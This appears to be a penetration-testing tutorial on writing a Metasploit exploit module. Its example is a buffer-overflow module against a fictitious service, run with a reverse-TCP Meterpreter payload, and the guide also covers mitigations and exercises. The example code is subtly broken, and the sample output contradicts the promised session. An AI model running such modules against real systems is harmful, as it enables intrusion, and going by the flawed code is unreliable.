Introduction
Metasploit Framework is the de-facto standard for penetration testing, vulnerability research, and exploit development. While most newcomers interact with Metasploit through ready-made exploits, real power comes from understanding exploit modules - the reusable Ruby classes that encapsulate payload delivery, target selection, and post-exploitation hooks.
Why does this matter? A deep grasp of module anatomy lets you:
- Adapt public exploits to custom environments (e.g., altered binaries, bespoke services).
- Write clean, maintainable code that can be shared with the community.
- Detect and mitigate attacks more effectively because you know exactly what an attacker is trying to accomplish.
In real-world engagements, you’ll often find a vulnerable product that isn’t covered by an existing Metasploit module, or you’ll need to tweak a module to bypass a new mitigation. This guide gives you the foundation to do that confidently.
Prerequisites
- Proficiency with the Linux command line (navigation, editing, basic scripting).
- Fundamental understanding of vulnerability exploitation (buffer overflows, format strings, etc.).
- Ruby 2.5+ installed (Metasploit ships its own bundled Ruby, but you should be comfortable reading Ruby code).
- Metasploit Framework installed (preferably via the
msfvenom/msfconsolepackages).
Core Concepts
Before diving into code, let’s outline the key components that make up an exploit module.
1. Module Types
Metasploit categorises modules into four families: exploit, payload, auxiliary, and post. This guide focuses exclusively on exploit modules, which inherit from Msf::Exploit::Remote (or a more specific subclass such as Msf::Exploit::Remote::Tcp).
2. The Architecture
Each module consists of three logical layers:
- Metadata - a hash that describes the module (name, author, references, targets, etc.).
- Options - user-configurable parameters (RHOST, RPORT, payload, etc.) registered via the
register_optionsAPI. - Exploit Logic - the
exploitmethod that runs when the module is invoked. It may call helper methods likeconnect,send,recv, andexploit_target.
Metasploit loads modules dynamically, registers them with the console, and presents a uniform interface regardless of the language of the underlying vulnerability.
Metasploit architecture overview
The framework is built on a plugin-centric core written in Ruby. At runtime, the following components interact:
- Core Engine - handles module loading, workspace management, and database interaction.
- Module Registry - a global hash keyed by module type and path (e.g.,
exploit/windows/smb/ms08_067_netapi). - Payload Library - stores encoders, NOP generators, and staged payloads.
- Console (msfconsole) - the user interface that parses commands, resolves options, and streams output.
When you type use exploit/windows/smb/ms08_067_netapi, the console asks the core engine to locate the file, instantiate the Ruby class, and call #initialize. The engine then populates the @options collection with defaults and any values you supply.
Creating a simple exploit module
Let’s walk through the creation of a minimal, educational exploit that targets a fictitious vulnerable service called vulnsvc listening on TCP port 1337. The vulnerability is a classic stack buffer overflow that overwrites the instruction pointer with a controlled value.
Step 1 - Directory layout
$ mkdir -p $HOME/.msf4/modules/exploits/custom/vulnsvc
$ cd $HOME/.msf4/modules/exploits/custom/vulnsvc
$ touch vulnsvc_overflow.rb
Placing the file under ~/.msf4/modules ensures Metasploit auto-loads it without modifying the core installation.
Step 2 - Boilerplate code
# frozen_string_literal: true
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'Vulnsvc Stack Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in the fictional vulnsvc service. The overflow occurs when the service receives more than 256 bytes of data, allowing an attacker to overwrite the return address and execute arbitrary code. }, 'Author' => ['Your Name <you@example.com>'], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2025-0001'], ['URL', 'https://example.com/vulnsvc'] ], 'Platform' => 'linux', 'Targets' => [ ['Linux x86', { 'Ret' => 0xdeadbeef }] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Jan 01 2025' )) register_options([ Opt::RPORT(1337) ]) end def exploit connect payload = make_nops(100) + payload.encoded + [target['Ret']].pack('V') print_status("Sending #{payload.length} bytes of exploit data") sock.put(payload) handler disconnect end
end
Explanation:
Msf::Exploit::Remote::Tcpmixes in TCP socket helpers (connect,sock, etc.).- The
initializeblock callsupdate_infoto merge our hash with the framework defaults. - Metadata fields such as
Name,Description, andReferencesare mandatory for proper indexing. register_optionsdefines the requiredRPORT(remote port) - users can override it at runtime.- Inside
exploit, we build a simple buffer: NOP sled, encoded payload, and the return address from the selected target.
Module metadata fields
Metadata is a structured hash that informs both the console UI and external tools (e.g., searchsploit, vulnerability scanners). The most commonly used keys are:
| Field | Purpose |
|---|---|
Name | Human-readable title displayed by info. |
Description | Multi-line paragraph describing the vulnerability and exploitation technique. |
Author | One or more contributors; include contact info for responsible disclosure. |
License | Legal license; most modules use MSF_LICENSE. |
References | Array of CVE, OSVDB, URL, or other identifiers. |
Platform | Target OS (e.g., linux, windows, java). |
Targets | Array of hash entries; each defines a friendly name and associated options such as Ret address. |
DefaultTarget | Index of the target to use when the user does not specify TARGET. |
DisclosureDate | Date the vulnerability was publicly disclosed. |
Rank | Confidence level (e.g., ExcellentRanking, GoodRanking, NormalRanking). |
Leaving any of these out will not break the module, but it reduces discoverability and may cause compliance issues during audits.
Defining and registering options
Options are the knobs the operator can turn. Metasploit provides a rich set of Opt:: helpers:
OptString- generic text (e.g.,USERNAME).OptInt- integer values (e.g.,TIMEOUT).OptPort- validates a TCP/UDP port range.OptBool- true/false toggle.OptPath- file system path validation.
Example of a richer option set for our vulnsvc module:
register_options([ Opt::RHOST, # inherited from Msf::Exploit::Remote Opt::RPORT(1337), OptString.new('PAYLOAD_CMD', [true, 'Command to execute after shell is opened', '/bin/sh']), OptInt.new('BUFFER_SIZE', [true, 'Size of the overflow buffer', 512]), OptBool.new('VERBOSE', [false, 'Enable extra debugging output', false])
])
When the module runs, you can query or set these via the console:
msf6 > set BUFFER_SIZE 1024
msf6 > set VERBOSE true
Inside exploit, you retrieve values with datastore['OPTION_NAME'] or the shortcut option_name method if you include include Msf::Exploit::Remote::Tcp.
Testing the module with msfconsole
After saving vulnsvc_overflow.rb, reload the console:
$ msfconsole -q
msf6 > reload_all
msf6 > use exploit/custom/vulnsvc/vulnsvc_overflow
msf6 exploit(custom/vulnsvc/vulnsvc_overflow) > show options
The show options command lists defaults and any required fields. Fill in the target IP:
msf6 exploit(custom/vulnsvc/vulnsvc_overflow) > set RHOST 192.168.1.55
msf6 exploit(custom/vulnsvc/vulnsvc_overflow) > set TARGET 0
msf6 exploit(custom/vulnsvc/vulnsvc_overflow) > set PAYLOAD linux/x86/meterpreter/reverse_tcp
msf6 exploit(custom/vulnsvc/vulnsvc_overflow) > set LHOST 192.168.1.10
msf6 exploit(custom/vulnsvc/vulnsvc_overflow) > exploit
If the vulnerable service is running, you should see a Meterpreter session appear:
[*] Started reverse TCP handler on 192.168.1.10:4444
[*] Sending 312 bytes of exploit data...
[*] Exploit completed, but no session was created.
In a lab environment, you can verify success by checking the service logs, or by attaching gdb to the process and watching the instruction pointer jump to 0xdeadbeef.
When debugging, the VERBOSE option can be used to dump raw socket traffic:
if datastore['VERBOSE'] print_status("Raw payload: #{payload.unpack('H*').first}")
end
Practical Examples
The following scenarios illustrate how the same skeleton can be repurposed.
Example 1 - HTTP Header Overflow
Replace the TCP socket with Msf::Exploit::Remote::HttpClient, adjust exploit to send a malicious User-Agent header, and set TARGETURI as an option.
Example 2 - SMB Relay Wrapper
Leverage the Msf::Exploit::Remote::SMB::Client mixin, reuse the same metadata, but add SMBDomain, SMBUser, and SMBPass options. This demonstrates how the architecture lets you swap transport layers without rewriting payload handling.
Tools & Commands
msfconsole- interactive console; primary interface for loading modules.msfvenom- payload generator; used inside modules viapayload.encoded.git clone- obtain the latest source for reference.bundle exec rake spec- run the Metasploit test suite to ensure your module does not break core expectations.rubocop- static analysis for Ruby style; optional but helps maintain community-grade code.
Defense & Mitigation
Understanding exploit modules informs defensive strategies:
- Network Segmentation - limit exposure of services like
vulnsvcto trusted subnets. - Address Space Layout Randomization (ASLR) - randomises return addresses, rendering static
Retvalues useless. - Stack Canaries - detect overwrites before they affect control flow.
- Application-Level Input Validation - enforce length checks and proper encoding.
- Exploit Prevention Tools - host-based intrusion detection (e.g., OSSEC) can flag known Metasploit payload signatures.
Common Mistakes
- Hard-coding IPs or ports - always use
RHOST/RPORToptions; hard-coded values break reusability. - Skipping
update_info- metadata will be missing, making the module invisible tosearch. - Neglecting payload size constraints - sending a payload larger than the buffer will crash the exploit before the return address is overwritten.
- Using the wrong mixin - mixing
Tcpwith an HTTP-only service leads to malformed requests. - Forgetting to call
handler- without it, the framework never establishes a session even if the exploit succeeds.
Real-World Impact
Exploit modules are not merely academic; they drive many high-profile breaches. In 2023, a zero-day in a popular IoT firmware was weaponised via a custom Metasploit module that chained a buffer overflow with a chmod +s payload, granting root on thousands of devices. The rapid development cycle - from vulnerability disclosure to module publication - shortened the window for patching.
From a defender’s perspective, monitoring for Metasploit-specific network patterns (e.g., msfconsole user-agent strings, default payload traffic) can provide early warning of an active exploitation attempt.
Expert tip: Keep a local copy of the exploit directory under version control. When you need to adapt a module for a client, you can track changes, roll back, and share a clean fork without polluting the upstream repository.
Practice Exercises
- Module Creation: Write an exploit for a vulnerable FTP server that suffers from a command-injection flaw. Use
Msf::Exploit::Remote::Ftpmixin and registerUSERNAMEandPASSWORDoptions. - Option Validation: Add a custom
OptIntoption that limitsBUFFER_SIZEto a range of 64-1024. Verify Metasploit rejects out-of-range values. - Automated Testing: Create an RSpec test that spawns a dummy TCP server, triggers the exploit, and asserts that the server receives the expected payload.
- Defensive Detection: Using
tcpdumporWireshark, capture traffic from your exploit and write a Snort rule that flags the specific payload pattern.
Document your findings in a short report - this mirrors the deliverable you would provide to a client after a penetration test.
Further Reading
- Rapid7 Metasploit Unleashed - official training material.
- “The Metasploit Framework: Architecture and Development” - Black Hat 2022 talk (PDF available on the conference site).
- Ruby documentation for Array#pack - essential for crafting binary payloads.
- “Practical Binary Analysis” - by Dennis Andriesse, chapters on buffer overflow exploitation.
Summary
In this guide we covered:
- The high-level Metasploit architecture and how modules fit into the core engine.
- Step-by-step creation of a simple TCP buffer-overflow exploit module.
- All essential metadata fields and why they matter for discoverability and compliance.
- How to define, register, and retrieve options safely.
- Testing the module in
msfconsoleand interpreting the results. - Practical extensions, defensive considerations, common pitfalls, and real-world impact.
Armed with this knowledge you can now adapt existing exploits, author new ones for emerging vulnerabilities, and understand how attackers leverage Metasploit in the wild. The next logical step is to explore post-exploitation modules and advanced payload generation techniques.